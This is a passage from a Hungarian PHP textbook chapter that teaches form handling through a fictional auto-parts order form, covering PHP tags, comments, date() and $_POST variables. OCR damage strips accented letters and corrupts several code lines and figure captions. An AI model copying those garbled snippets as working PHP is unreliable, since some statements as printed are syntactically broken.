Prbljuk ki a pldkat! Gpeljk be vagy tltsk le a http://www.perfactkiado.hu/mellekletek oldalrl, vltoztassuk meg,
rontsuk el, majd prbljuk megjavtani azokat!
A fejezet elszr is egy online termkrendel rlap pldjn keresztl mutatja be a vltozk, a mveleti jelek (opertorok) s
a kifejezsek PHP-beli mkdst. A vltoztpusokat s az opertorok Icirtkelsi sorrendjt is ttekintjk. Az gyfl meg
rendelsn a vgsszeget s az adtartalmat kiszmtva megtanulj uk, hogyan rhetjk el s kezelhetjk az rlapvltozkat.
Ezt kveten a beviteli adatokat ellenrz PHP kd hasznlatval online rendelsi rlapot fejlesztnk. Megvizsgljuk
a Boole-vltozk fogalmt, majd if s else parancsokat, a?: mveleti jelet s a switch utastst hasznl pldkat nznk
t. Vgl ismtld HTML tblzatokat generl PHP kd rsa kzben megismerkednk a ciklusokkaL
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
PHP begyazsa HTML-be
Dinamikus tartalom hozzadsa
rlapvltozk elrse
Azonosrk
Felhasznl ltal deklarlt vltozk ltrehozsa
Vltoztpusok ttekintse
rtk hozzrendelse vltozkhoz
llandk deklarlsa s hasznlata
Vltozk hatkre
Opertorok s mveletek kirtkdsi sorrendje
Kifejezsek kirtkelse
Fggvnyvltozk hasznlata
Elgazsok if, else s switch utastsokkal
Itercik alkalmazsa while, do s for ciklusokkal

Kezds eltt:

PHP elrse

A fejezetben s a knyv tbbi rszben szerepl pldk hasznlathoz olyan webszerverhez kell hozzfrnnk, amelyre telept
ve van a PHP. Hogy minl tbbet kihozzunk a pldkbl s esettanulmnyokbL futtatnunk kell, s meg kell prblni mdos
tanunk azokat. Ehhez olyan tesztgyra van szksg, ahol ksrletezni tudunk.
Amennyiben szmtgpnkre nincsen PHP teleptve, els feladatunk a telepts lesz, vagy krjk meg a rendszergazdt,
hogy tegye ezt meg neknk! Az erre vonatkoz utastsokat A PHP s a MySQL teleptse cm fejezetben talljuk a Fggelk
ben. A PHP Unix s Windows opercis rendszerekre teleptshez szksges minden sszetevt megtalljuk a http:/ /www.
perfactkiado.hu/mellekletek oldalrl letlthet mappk kztt.

12

2. fejezet

Mintaalkalmazs ltrehozsa: Bob autalkatrszek


A szetveroldali szkriprnyelvek egyik leggyakoribb alkalmazsi terlete HTML rlapok feldolgozsa. A PHP elsajttst egy

kitallt cg. az autalkatrszekkel foglalkoz

Bob autalkatrszek rendelsi rlapjnak

ltrehozsval kezdjk. A fejezetben

hasznlt sszes plda kdjt megtalljuk a letlthet mellklerek 01_fejezet mappjban.

Rendelsi rlap ltrehozsa


Bob HTML-programozja elksztett a Bob ltal rtkestett autalkarrszekhez egy rendelsi rlapot. Ez a viszonylag egy
szer, az 1.1 brn lthat rlap hasonl az interneten tallhat sok msikhoz. Bob tudni szeretn, mit rendelt az gyfl, s
mennyi a rendels vgsszege, illetve szeretn tudni, mennyi forgalmi adt kell fizetni a rendels urn.

1.1 bra:

Bob megrendelsi rlapjnak kiindul vltozata csak a termkeket s a mennyisgeket rgzti.

Az rlap HTML kdjnak egy rszt az 1.1 pldakdban lthatjuk.


1.1 pldakd: rendelesi_urlap. html

Bob kiindul rendelsi rlapjnak HTML kdja

<form action="rendeles_feldolgozasa.php" method="post">


<table border="O">
<tr bgcolor="lcccccc">
<td width="l50">Ttel</td>
<td width="l5">Mennyisg</td>
</tr>
<tr>
<td>Gumiabroncs</td>
<td align="center"><input type="text" name="abroncs

db" size="3"

maxlength="3" /></td>
</tr>
<tr>
<td>Olaj</td>
<td align="center"><input type="text" name="olaj_db"

size="3"

maxlength="3" /></td>
</tr>
<tr>
<td>Gyjtgyertya</td>
<td align="center"><input type="text"

name="gyertya_db" size="3"

maxlength="3" /></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" value="Rendels elkldse" /></td>
</tr>
</table>
</form>

PHP gyorstalpal

13

Lthat, hogy az rlap action tulajdonsgnl az gyfl megrendelst feldolgoz PHP kd neve lett megadva. {Rvide
sen megrjuk ezt a kdot.) Az action tulajdonsg rtke az az URL, amely akkor tltdik be, amikor a felhasznl a"Rende

ls elklds' gombra kattint. A felhasznl ltal az rlapba begpelt adatok a rnethod tulajdonsg rtkrl fUggen ktfle
kppen klddhetnek el ennek az URL-nek. Az egyik a get {az adatokat az URL vghez ruzi hozz), a msik pedig a post
metdus {kln zenetben kldi el azokat).
Figyeljk meg az rlap mezinek a nevt is: abroncs_db, olaj_db s gyertya_ db! A PHP kdban is hasznlni fogjuk
ezeket a neveket. Mivel ksbb is szksg lesz rjuk, fontos, hogy rtelmes, beazonosthat neveket adjunk az rlapmezknek,
hogy a PHP kd megrsakor is emlkezhessnk rjuk. Egyes HTML szerkesztk olyan alaprtelmezett mezneveket gene
rlnak, mint pldul a field23. Egy ilyet szinte lehetetlen megjegyezni. PHP-programozssal tlttt rinkat jelentsen kny
nyebb tehetjk azzal, hogy a mezbe begpelend adatra utal nevet hasznlunk.
rdemes a meznevekhez valamilyen kdolsi szablyt alkalmazni, hogy az oldalon lv minden meznv ugyanolyan for
mtum legyen. gy knnyebb megjegyezni, hogy vajon rviditettnk-e egy szt a mez nevben, vagy alulvonst hasznlunk-e
a szkzk helyett.

Az rlap feldolgozsa
Az rlap feldolgozshoz ltre kell hoznunk a forrn cmke {tag) action tulajdonsgban emltett, rendeles_
feldolgozasa.php

nev kdot. Nyissuk meg szvegszerkesztnket, s hozzuk ltre a fjlt! Ezt kveten gpeljk be az

albbi kdot:
<htrnl>
<head>
<title>Bob autalkatrszek -

Rendelsi eredrnnyek</title>

</head>
<body>
<hl>Bob autalkatrszek</hl>
<h2>Rendelsi eredrnnyek</h2>
</body>
</htrnl>

Lthatjuk, hogy idig tisztn HTML kdot gpeltnk be. Ideje egyszer PHP kddal kiegszteni a szkriptet!

PHP begyazsa HTMLbe


rjuk be a fjl <h 2> fejrsze al a kvetkez sorokat:
<?php
echo

'<p>Rendels

feldolgozva.</p>';

?>

Mentsk el a fjlt, s tltsk be bngszbe azzal, hogy kitltjk Bob rlapjt, majd a "Rendels elkldse" gombra kattin
tunk! Az 1.2 brn lthathoz hasonl eredmnyt kell kapnunk.
r--"'"""""'"

tt.o'".(<'

M.,.,u.!or..r"'

; -:"

Bob autalkatrszek
Rendelsi eredmnyek
...... -

1.2 bra A PHP ech o

ut astsnak tadottszve g megjelenik a bngszben.

Vizsgljuk meg. hogy miknt lett begyazva az ltalunk rt PHP kd a szoksos kinzet HTML fjlba! Prbljuk megte
kinteni bngsznkben a forrskdot! A kvetkez kdot kell ltnunk:
<htrnl>
<head>
<title>Bob autalkatrszek -

Rendelsi eredrnnyek</title>

\,

'j

14

2. fejezet

</head>
<body>

<hl>Bob autalkatrszek</hl>
<h2>Rendelsi eredmnyek</h2>
<p>Rendels

feldolgozva.</p>

</body>
</html>

A nyers PHP kd itt nem lthat, mert a PHP fordt vgigfutort a szkripten, s a fordts eredmnyre cserlte a PHP
kdot. Ez azt jelenti, hogy PHP-bl brmilyen bngszvel megtelcinthet, tiszta HTML kdot tudunk ellltani. Ms sza
vakkal: a felhasznl bngszjnek nem kell rtenie a PHP-t.
Ez a plda egyszeren szemiitette a szerveroldali programozs fogalmt. A PHP rtelmezse s vgrehajtsa
a webszerveren trtnt, a JavaScripttl vagy ms, a felhasznl szmtgpn lv bngszben rtelmezett s vgreh:Ytort
kliensoldali technolgitl tvol.
A fjlban lev kd ngyfle szveget tartalmaz:
HTML
PHP cmkk (tag)
PHP utastsok
Fehrkz karakterek
A kdhoz megjegyzseket is adhatunk.
A pldban lv sorok tbbsge egyszer HTML.

PHPcmkk
Az elz pldban a PHP kd a <?php karakterekkel kezddtt s a ?>karakterekkel rt vget. Ez a HTML cmkkhez
"
hasonl, hiszen azok mind a"kisebb, mint ( <) szimblummal kezddnek, s a"nagyobb, mint" ( > ) szimblum zrja le ket.
Ezeket a szimblumokat (<?php s ?>) PHP cmkknek (tag) nevezzk. Tudatjk a webszerverrel, hol kezddik s hol r

vget a PHP kd. A cmkk kzrti minden szveg PHP-knt rtelmezhet. A webszerver egyszer HTML-knt kezeli az
ezen cmkken kivli szveget. A PHP zrcmkkkel elhagyhatjuk a PHP-t, s visszatrhetnk a HTML kdhoz.
Klnbz cmkestlusok kzl vlaszthatunk Vizsgljuk meg rszletesebben is ezeket a cmkket!
A PHP cmkknek ngy klnbz stlusa ltezik. A most kvetkez kdrszletek egymssal egyenrtkek:

XMLstt1us
<?php echo

'<p>Rendels

feldolgozva.</p>';

?>

Ez a preferlt, gy knyvnkben is hasznlt cmkestlus. A kiszolgl rendszergazdja nem kapcsolhatja ki, gy biztosak
leherunk benne, hogy minden szerveren elrhet; ez akkor klnsen fontos, arnikor olyan alkalmazst runk, amit tbbszr,
klnbz szerverekre fognak telepteni. Ez a stlus az Extensible Markup Language (XML) dokumentumokkails hasznlha
t. ltalnossgban ez az ajnlott stlus.

Rvid stt1us
<? echo '<p>Rendels

feldolgozva.</p>';

?>

Ez a legegyszerbb, a Standard Generalized Markup Language (SGML) utastsfeldolgoz stlust kvet cmkestlus
nem mellesleg ez az, amelyik a legkevesebb gpelst ignyli. Az ilyen tpus cmkk hasznlarhoz be kell kapcsoini a coniig
fjlban a short_open_tag belltst, vagy a rvid cmkk bekapcsalsval kell a PHP-t lefordtani. A Fggelkben tallunk
bvebb informcit errl a cmkestlusrL Hasznlata mindazonltal nem ajnlott, mert a kd szmos krnyezetben nem fog
mkdni, rnivel a stlus alaprtelmezetten mr nincsen bekapcsolva.

SCRIPT stt1us
<script language='php'> echo

'<p>Rendels

feldolgozva.</p>';

</script>

Ez a leghosszabb cmkestlus, ami ismers lehet mindenkinek, aki hasznlt mr JavaScriptet vagy VBScriptet. Akkor rde
mes ezt vlasztani, ha a tbbi cmkestlus hasznlarakor problmkat jelez a HTML szerkeszt.

PHP gyorstalpal

15

ASP stt1us
<% echo

'<p>Rendels feldolgozva.</p>'; %>

Ez a cmkestlus megegyezik az Active Server Pages (ASP) vagy ASP.NET keretrendszerben hasznltral. Akkor dolgozhatunk
vele, ha bekapcsoltuk az asp_tags konfigurcis belltst. Csak akkor van rtelme ezt a tag-stlust vlasztani, ha ASP-re vagy
ASP.NET-re kihegyezett szerkesztt hasznlunk. Fontos tudni, hogy alaprtelmezsben nincs bekapcsolva ez a crnkestlus.

PHP utastsok
A nyit s zr cmkk kz helyezett PHP utastsokkal kzlhegk a PHP fordtval, hogy mi a teendje. Az elz plda
egyeden utastst tartalmazott:
echo '<p>Rendels feldolgozva.</p>';

Mint lthattuk, az ech o hasznlara nagyon egyszer eredmnnyel jrt: a neki radott sztringer, azaz karakterlncot kirja
a bngszben (vagyis visszaadja neki, innen az angol echo kifejezs). Az 1.2 brn ltharjuk az eredmnyt, vagyis a bngsz
ablakban megjelen Rendels feldolgozva.

szveget.

Figyeljk meg az ech o utasts vgn lev pontosvesszd PHP-ben pontosvesszkkel vlaszguk el az utastsokat- ha
sonlan ahhoz, ahogy az rott szvegben a mondatokat pontra!. Ha programoztunk mr C-ben, Javban vagy Pascalban, bizo
nyra ismersnek fogjuk tallni a pontosvessz ilyen hasznlatr.
A lefelejtett pontosvessz gyakori, knnyen elkvethet szintaktikai hiba. Szerencsre ugyanilyen egyszeren megrallhat
s javthat is.

Fehrkz karakterek
Az olyan elvlaszt karaktereket, mint a sortrs, a szkz s a tabultor,fehrkz (whitespace) karaktereknek nevezzk. Mint

bizonyra tudjuk, a bngszk figyelmen kvl hagyjk a HTML-ben lev ilyen karaktereket. Ugyangy jr el a PHP motor is.
Vizsgljuk meg az albbi kt HTML kdrszleret:
<hl>Kszntjk a Bob autalkatrszek boltjban!</hl><p>Mit szeretne rendelni ma?</p>

s
<hl> Kszntjk a Bob
autalkatrszek boltjban!</hl>
<p> Mit szeretne
rendelni ma?</p>

Ez a kr tredk egyforma kimenetet produkl, ugyangy jelennek meg a bngszben. Ennek ellenre rdemes fehrkz
karaktereket alkalmazni, mert gyesen hasznlva nvelhetik a HTML kd olvashatsgt. Ugyanez igaz a PHP-re is. Nem
szksges fehrkz karaktereket raknunk a PHP utastsok kz, de sokkal knnyebben olvashat lesz a kd, ha minden utas
tst kln sorba runk. Pldul az
echo 'hell ';
echo

'vilg';

s az
echo

'hell ';echo 'vilg';

teljesen megegyezik, de az els vltozat knnyebben olvashat.

Megjegyzsek
A megjegyzsek pontosan azok, amit a nevk sugall: a kdot olvas emberek szmra sznt megjegyzsek. Hasznlhatjuk ket
a kd cljnak elmagyarzsra, kzlhegk, hogy ki rta, mirt gy rta, ahogy, mikor mdostotta stb. A legegyszerbb PHP
kdok kivtelvel szinte mindenhol tallunk megjegyzseket.
A PHP fordt figyelmen kvl hagr.ja a megjegyzsekben lev szveget. A PHP feldolgoz lnyegben tugorja a megjegy
zseket, a fehrkz karakterekkel egyenrtknek tekinti azokat.
A PHP a C-tpus nyelvek stlusban rt, illetve a shell szkript stlus megjegyzseket tmogatja.
Az albbi, C-stlus, tbbsoros megjegyzssel pldul PHP kd elejn tallkozhatnnk:
/*

Szerz:

Bob Smith

Utols mdosts idpontja:


A kd

*l

prilis 10.

a vev i megrendelseket dolgozza fel.

16

2. fejezet

A tbbsoros megjegyzsek l* karakterekkel kezddnek s

*l karakterekkel rnek vget. Akrcsak C-ben, a tbbsoros

megjegyzsek nem gyazhatk be.

Hasznlhatunk egysoros megjegyzseket is, akr C++:


echo '<p>Rendels feldolgozva.</p>';

//Megrendels nyomtatsa indul

akr shell szkript stlusban:


echo '<p>Rendels feldolgozva.</p>';

#Megrendels nyomtatsa indul

Mindkt stlusra igaz, hogy a megjegyzs szimblum ( # vagy ll) utn a sor vgig vagy a zr PHP cmkig tart a megjegyzs.
A kvetkez kdsorban a zr cmke eltti szveg, az ez itt megjegyzs a megjegyzs rsze. A zr cmke utni sz
veg, az e z itt nem HTML kdnak tekintend, mivel a zr cmkn kivl esik:

ll

ez itt megjegyzs ?> ez itt nem

Dinamikus tartalom hozzadsa


Amire idig PHP-t hasznltunk, azt egyszer HMTL-lel is elrhettk volna.
A szerveroldali szkriptnyelvek hasznlatnak elsdleges oka, hogy lehetv teszik szmunkra dinamikus tartalom megjele
ntst az oldalon. Ez igen fontos alkalmazsi terlet, mert a felhasznJk ignyei szerint vagy rendszeresen vltoz carealom
jra s jra visszavonzza a ltogatkat. PHP-vel knnyen elrhetjk ezt.
Induljunk ki egy egyszer pldb!! Cserljk le a rendeles_ feldolgozasa. php fjlban lev kdot a kvetkezre:
<?php
echo "<p>Rendels feldolgozsnak id6pontja:
echo date('H:i,

jS

";

F Y');

echo "</p>";
?>

Az sszefz opertort (.) hasznlva egyetlen sorba is rhatnnk ugyanezt:


<?php
echo "<p>Rendels feldolgozsnak id6pontja: ".date('H:i,

jS

F Y') ."</p>";

?>

A kdban hasznlt, beptett date () PHP fggvny kzli a vevvel rendelse feldolgozsnak dtumt s idejt. Ez az
informci a kd minden egyes lefutsakor ms s ms lesz. Az 1.3 brn a kd egy adott idpontban trtn lefuttatsnak
kimenett lthatjuk.

t.ll

tttaf

-Bob autalkatrszek

?r-:-.11-.:,w

Rendelsi nedmnyek

1.3 bra: A PHP date ()

fggvnye formzott dtumot ad vissza.

Fggvnyhvsok
Vizsgljuk meg a date () fggvny meghvst! Ez a fggvnyhvs lcalnos formja. A PHP webes alkalmazsok fejleszt
sekor hasznlhat fggvnyek szles vlasztkval rendelkezik. A fggvnyek tbbsgnek valamilyen adatot (paramtert) kell
tadni, s a fggvnyek maguk is valamilyen rtkkel trnek vissza.
Nzzk meg jra ezt a fggvnyhvst:
date('H:i,

jS

F');

PHP gyorstalpal

17

Lthatjuk, hogy a hvssal egy karakterlnc (szveges adat) addk t a zrjelek kzt a fggvnynek. A zrjelben lv
elemet a fggvny paramternek, ms nven argumentumnak hvjuk. Az ilyen paramtereker a fggvny bemeneti adarknt

hasznlja valamilyen konkrt eredmny (kimenet) ellltsra.

A da te ( ) fggvny hasznlata
A date

()

fggvny formz karakterlncot (formar string) vr paramterknt, ami meghatrozza a kivnt kimenet stlust.

A karakterlnc minden betje a dtum s id egy-egy rszt jelkpezi. A H az ra a 24 rs idformtumban (az egyszmjegy
rk eltt bevezet nullval), az i a percek (szksg esern szinrn bevezet nullval), a j a hnap napja (mindg nulla nl
kl), az S a sorszrnnv kpzje ( jelen esetben ez th, hiszen angolul rjuk ki a dtumot), az
A date

()

pedig a hnap teljes neve.

fggvny ltal tmogatott formromok teljes list:ijt a Dtum s id kezelse m 21. fejezerben talljuk meg.

Az rlapvltozk elrse
A megrendelsi rlap hasznlatnak clja az gyflrendelsek begyjtse. Az gyfelek ltal begpelt adatokat knnyen megsze
rezhetjk PHP-ben, de a tnylegesen alkalmazand mdszer az ltalunk hasznlt PHP verzijrl s php. ini fjlunk egyik
bellrstl fgg.

Rvid, kzepes s hossz vltozk


A PHP kdon bell az rlapmezket az azok nevhez kapcsold nev PHP vltozkknt rhetjk el. A vltozk neveit on
nan ismerjk fel knnyen a PHP-ben, hogy dollrjellel ($) kezddnek. (A dollrjel kirsnak elmulasztsa gyakran elkvetett
programozi hiba.)
A hasznlt PHP-verzitl s annak bellrsairl fggen hromflekppen rhetjk el az rlapadarokat vltozkkal. Ezek
nek a mdszereknek nincsen hivatalos nevk, mi ezrt rvid, kzepes s hossz stlusnak fogjuk nevezni ket. Mindhromra
igaz, hogy a PHP kdnak elkldtt oldalon lev rlapmezk mindegyike elrhet az adott kdban.
Az abroncs_db mez tartalmt az albbi mdokon rhetjk el:
$abroncs_db

ll

rvid stlus

$_POST['abroncs_db']

ll

$HTTP_POST_VARS['abroncs

kzepes stlus

db']

ll

hossz stlus

Pldnkban s a knyv egszben a kzepes stlussal (vagyis a $_POST[ 'abroncs_db' ] formval) fogunk hivatkozni
az rlapvlrozkra, m az egyszersg kedvrt a vltozk rvidebb vltozatt is ltrehozzuk. De a kdban, nem pedig auto
matikusan tesszk ezt, mert automatikus ltrehozsuk biztonsgi problmt vetne fel a kdban.
Sajt kdjaink esetben vlaszthatunk ettl eltr megkzeltst. Hogy megalapozott dnrst hozhassunk, tekintsk r
a klnbz mdszereket:
A rvid stlus ( $abroncs_db) knyelmes ugyan, de hasznlata a register _globals konfigurcis bellts bekap
csolst ignyli. Ez a bellirs biztonsgi okokbl alaprtelmezsben ki van kapcsolva. A stlus hasznlarakor knnyen
kvethetnk el a kdot megbzhatariann (nem biztonsgoss) tev hibkat, ppen ezrt ez a stlus napjainkban mr
nem igazn ajnlott. Nem lenne rtelme egy j kdban hasznlni, mert a PHP 6-os verzijbl valsznleg el fog tnni.
Az ajnlott megkzelrs a kzepes stlus ( $_POST [ 'abroncs_db' l). Amennyiben a kzepes stlus alapjn a vltoz
nevek rvid vltozatt hozzuk ltre (ahogy tesszk a knyvben is), nem kell biztonsgi krdsekkel foglalkoznunk, r
adsul vltozink viszonylag knnyen hasznlhatk lesznek.

A hossz stlus ( $HTTP _POST_VARS [ 'abroncs_db' l) a leginkbb szszryr. Meg kell emltennk, hogy jabban
sokat kifogsoljk, gy hossz rvon minden bizonnyal el fog tnni. Korbban ez volt a leginkbb platformfggeden
stlus, de ma mr a teljestmnyt nvel register _l ong_arra ys konfigurcis drektvval kiikrathat. j kdban
- a rvid stlushoz hasonlan - ezt sem rdemes mr hasznlni, kivve, ha biztosak vagyunk abban, hogy szoftvernket
csak rgi szerverekre fogjk telepteni.
Rvid stlus hasznlata esetn a kdban lv vltozk neve megegyezik a HTML rlapon lv rlapmezk nevvel. Nem
kell a vltozkar a kdban deklarlni vagy brmilyen mvelertel lrrehozni. Lnyegben gy addnak r a kdnak, ahogy

a fggvnyek megkapjk paramtereiket. Ha ezt a stlust vlasztjuk, a vltozkat egyszeren, pldul $abroncs_db - knt
hasznlhatj uk. Az rlapon lv abroncs_ db mez ltrehozza az rlapot feldolgoz kd $abroncs_db vltozjt.
A vltozkhoz val ilyen knyelmes hozzfrs vonz lehet, m mielrt egyszeren bekapcsolnnk a regis ter_
globals

belltst, rdemes vgiggondolni, hogy a PHP fejleszti csapata mirt dnttt annak kikapcsolsa mellett.

18

2. fejezer

A vltozkhoz val ilyen kzverlen hozzfrs igen knyelmes lehet, m lehetsger ad arra, hogy a kdok biztonsgt
veszlyezter hibkar kvessnk el. Ha az rlapvltozkar automatikusan ilyen globlis vltozkk alaktjuk, akkor nem

lehet egyrtelmen megklnbztetni az ltalunk ltrehozorr s a kzverlenl felhasznlktl rkez, nem megbzhat vl
tozkat.
Ha nem jrunk el kell gondossggal, s nem rendelnk minden vltozhoz kezdrtket, akkor a felhasznlk sajt
vltozinkkal kevered vltozkat s rtkeket adhatnak t rlapvlrozknr. Amennyiben a vltozk elrsnek knyelmes,
rvid stlusr hasznljuk, gyeljnk arra, hogy minden sajt vltoznak kezdrtket adjunk!
A kzepes stlus esetn az rlapvltozkar a $_POST, $_GET vagy $_REQUEST tmb valamelyikbl keressk vissza.
A $_GET vagy $_POST tmb kzl az egyik trolja az rlapvltozk minden rszlett. Hogy melyik tmbt hasznljuk,
az attl fgg, hogy az rlap elkldse GET vagy POST metdussal trtne-e. A GET vagy POST metdussal elkldtt min
den adat kombincija elrhet a $_REQUEST tmbn keresztl is.
Amennyiben az rlap a POST metdussal lett elkldve, az abroncs_ db mezbe bevitt adat a$_POST [ 'abroncs_
db' J elemben lett eltrolva. Ha az elklds GET metdussal trtnt, az adarot a$_GET['abroncs_db' l elemben fogjuk

megtallni.Az adat mindkt esetben elrhet a $_REQUEST [ 'abroncs_db' l

tmbelemben is.

Ezek a tmbk aszupergloblis tmbk kz tartoznak. E fogalomhoz a ksbbiekben, amikor a vltozk hatkrt tr
gyaljuk, mg visszatrnk.
Nzznk meg egy pldt, amelyben a vltozk egyszerbben hasznlhat msolatt hozzk ltre!
Egy vltoz rcknek egy msikba msolshoz az rtkad (hozzrendel) mveleti jelet (opertorr) hasznljuk; ez
PHP-ben nem ms, mint az egyenlsgjel (=).A kvetkez utasts annyir tesz, hogy ltrehoz egy j, $abroncs_db nev
vlrozt, s belemsolja a$ POST ['abroncs_db' J
$abroncs_db

tartalmr:

$_POST['abroncs_db');

Helyezzk az albbi kdblokkot a feldolgoz kd elejre! A knyv sszes, rlapbl rkez adatokat kezel kdja hasonl
blokkot tartalmaz az elejn. Mivel ez a kd nem llt el semmilyen kimenetet, mindegy, hogy a <html> s az oldalt indt
ms HTML cmkk al vagy fl helyezzk. A knnyebb megtallhatsg rdekben mi ltalban a kd elejre szaktuk
helyezni az ilyen blokkokat.
<?php

ll rvid vltoznevek ltrehozsa


$abroncs_db
$olaj_db

$_POST['abroncs_db');

$ POST['olaj db');

$gyertya db =$ POST['gyertya db');


?>

A kd hrom j vltozt

abroncs_db, $olaj_db s $gyertya_ db -hoz ltre, s belltja, hogy az rlapbl

a POST metdussal tkldtt adarokat tartalmazzk.


Annak rdekben, hogy valami lthat dolgot h*son vgre, adjuk az albbi sorokat PHP kdunk vghez:
echo

'<p>Rendelse az albbi:

</p>';

echo $abroncs_db.' gumiabroncs<br />';


echo $olaj_db.'

flakon olaj<br />';

echo $gyertya_db.' gyjtgyertya<br />';

Egyelre nem ellenriztk a vltozk tartalmr, hogy valban rtelmes adatokat vittek-e be az rlapmezkbe. Prbljunk
meg szndkosan rossz adarokat bevinni, s figyeljk meg. hogy mi trtnik! A fejezet htralev rsznek elolvassa utn
minden bizonnyal azon lesznk, hogy valamikppen megprbljuk kdunkkal ellenrizni az adatok rvnyessgt.
Biztonsgi szempontbl kockzatos dolog a kzveclenl a felhasznlk ltal bevitt adatokat a bngsznek kimenetknt
tadni. A beviteli adatokat szrnnk kell. Az ilyen adatok szrsvel a negyedik

Karakterlncok kezelse s regulris ki

fejezsek cm -fejezetben kezdnk foglalkozni, a biztonsg krdskrt pedig a Webes alkalmazsok biztonsga cm 16.
fejezerben fogjuk rszletesen megrrgyalni.
Ha most betltjk a fjlt bngsznkbe, a kd kimenere az 1.4 brn lthathoz kell hasonltson. A pontos rtkek ter
mszetesen attl fggnek, hogy mit adtunk meg az rlapon.

PHP gyorstalpal

'lk>!> "tl'o.l'lt!.-.1!-k

R{'!Hioi('r('d>"'ll'folo.

':-1-:,

.,,.,TIIII>r<'>

"

-t-.j

Bob autalkatrszek
Rendelsi eredmnyek
R.r:ao:ir:ltsIO.l9,1<kll
ReoxldtKuiiiM!tt
,...,..._,

..........

6o)c
wty

1.4

bra: A Jelhasznl ltal begpelt rlapvltozk egyszeren elrhetk a rendeles_ feldolgozasa. php kdban.

A kvetkez rszekben a plda nhny rdekes elemt vizsgljuk meg.

Karakterlncok sszefzse
A pldakdban az echo utasts megjelenti a felhasznl ltal az egyes rlapmezkbe gpelt rtket, illetve az azt kvet
magyarz szveget. Ha kzelebbrl megvizsgljuk ezeket az echo utastsokat, lthatjuk, hogy a vltoz neve s az azt kve
r szveg kztt egy pont(.) lthat, mint pldul itt:
echo $abroncs_db.'

gumiabroncs<br />';

Ez a pont a karakterlncokat sszefz mveleti jel, ami egymshoz adja a karakterlncokar (szvegdarabokat). Gyakran fogjuk
hasznlni, amikor az echo utastssal kldnk a bngsznek kimenetet, mert gy elkerlherjk tbb echo parancs begpelst.
A megjelenteni kvnt, egyszer vltozkat ketts idzjellel krbefogott karakterlncokba is helyezhetjk.(A tmbk kiss
bonyolultabbak, ezrt a tmbk s a karakterlncok kombinlsval a Karakterlncok kezelse s regulris kifejezsek cm 4.
fejezetben foglalkozunk majd.) Gondoljuk vgig a kvetkez pldt:
echo

"$abroncs_db gumiabroncs<br

/>";

Ez teljesen egyenrtk az elbb elsknt bemutatott utastssal. Mindkt formtum helyes, s csak szemlyes zlsnktl
fgg, hogy melyiket hasznljuk. Ezt a folyamatot, vagyis azt, amikor egy karakterlncban a tartalmra cserljk a vltozt, in
terpolcinak nevezzk.
Fontos tudni, hogy az interpolci csak a ketts idzjellel kzrefogott karakterlncok esern mkdik. Egyszeres idzjelet
hasznl szeringekbe nem helyezherjk ezzel a mdszerrel a vltozk nevt. A kvetkez kdsor
echo

'$abroncs_db

gumiabroncs<br

/>';

lefuttatsa egyszeren az "$abroncs_db gumiabroncs<br />" karakterlncot kldi el a bngsznek A ketts id


zjelen bell lv vltoznv helyn a vltoz rtke jelenik meg. Egyszeres idzjel esetn a vltoz neve vagy brmilyen ms
szveg vltozatlanul lesz elkldve.

Vltozk s literlok
A mintakd echo utastsaiban sszefztt vltozk s karakterlncok klnbz tpus dolgok. A vltozk adatok szim
blumai, a karakterlncok pedig nmaguk is adatok. Amikor ilyen nyers adatdarabot hasznlunk egy programban, litereiinak
hvjuk, hogy megklnbztessk a vltozktL Az $abroncs_db egy vltoz, a felhasznl ltal begpelt adatot jelkpez
szimblum. A , Gumiabroncs<br />' viszont !iterl. Vehetjk a nvrtkt. Vagyis majdnem vehetjk. Emlksznk mg
az elz rsz msodik pldjra A PHP a karakterlncban lv $abroncs_ db vltoznevet a vltoz rtkre cserlte.
Emlkezznk vissza a korbban emltett ktfle karakrerlncra: a ketts idzjelet s az egyszeres idzjelet hasznlral
A PHP a ketts idzjelben lv karakterlncokat megprblja kirtkelni, ami a korbban bemutatott viselkedst eredmnye
zi. Az egyszeres idzjelben lv sztringeket valdi literlknt kezeli.
A karakterlncok meghatrozsnak harmadik mdszere a heredoc szintakszis ( <<< ) hasznlata, amely a Perl
felliasznlknak mr ismers lehet. A heredoc szintakszis a karakterlncot befejez jel hasznlatval teszi lehetv hossz
sztringek egyrtelm meghatrozst. A kvetkez plda egy hromsoros karakterlncot hoz ltre s jelent meg:
echo <<<vege

l. sor
2. sor
3.

sor

vege

19

20

2. fejezet

A vege jel teljesen tetszlegesen vlaszthat. A lnyeg csupn annyi, hogy a szvegben ne jelenjen meg. Heredoc karakter;
lnc lezrshoz helyezzk a lezr jelet a sor elejre!

A heredoc sztringek a ketts idzjelben lv karakterlncokhoz hasonlan interpollhatk.

Az azonostk
Az azonosrk a vltozk nevei. (A fggvnyek s az osztlyok nevi is azonost; a fggvnyekkel s osztlyokkal a Kd tbb
szri felhasznlsa s fggvnyrs cm tdik s az Objektumorientlt PHP cm hatodik fejezetben foglalkozunk.) rvnyes
azonosrk meghatrozshoz az albbi egyszer szablyokkal szksges tisztban lennnk:
Az azonosrk tetszleges hosszsgak lehetnek, berket, szmokat s alulvonst tartalmazhatnak.
Az azonosrk szmjeggyel nem kezddhetnek.
A PHP megklnbzteti az azonosrkban a kis- s nagybetket. Az $abroncs_db s az $Abroncs_db nem egyezik
meg. Gyakori programozi hiba, hogy ugyanannak tekintik ezt a kt azonostt. A fggvnynevek kivtelt kpeznek
e szably all: ezeket kis- s nagybetvel is rhatjuk.
Vltoznak lehet ugyanaz a neve, mint egy fggvnynek. Az ilyen hasznlat azonban zavar s ppen ezrt kerlend.
Ugyanakkor nem lehet egy msik fggvny nevvel megegyez nev fggvnyt ltrehozni.
A HTML rlapbl radott vltozkon tlmenen sajt vltozkat is deklarlhatunk s hasznlhatunk.
A PHP egyik jellemzje, hogy a vltozkat nem szksges hasznlatuk eltt deklarlni. Akkor jnnek ltre, amikor elszr
rtket rendelnk hozzjuk. Tovbbi rszletekrt olvassuk el a kvetkez rszt!
Az rtkad mveleti jellel (

) rendelhetnk a vltozkhoz rtket, ahogy tetrk azt akkor is, amikor egyik vltoz rtkt

egy msikhoz msoltuk. Bob honlapjn szetetnnk kiszmolni a rendelt ttelek szmt s a fizetend teljes sszeget. Kt vl
tozt hozhatunk ltre ezen rtkek trolsra. Elszr is PHP kdunk aljhoz a kvetkez sorokat hozzadva lltsuk be ezen
vltozk kezdrtkt nullra!
$osszmennyiseg
$vegosszeg

0;

0.00;

Mindkt sor ltrehoz egy-egy vltozt, s literlrtket rendel hozzjuk. Vltoz rtkt is rendelhetjk vltozkhoz, ahogy
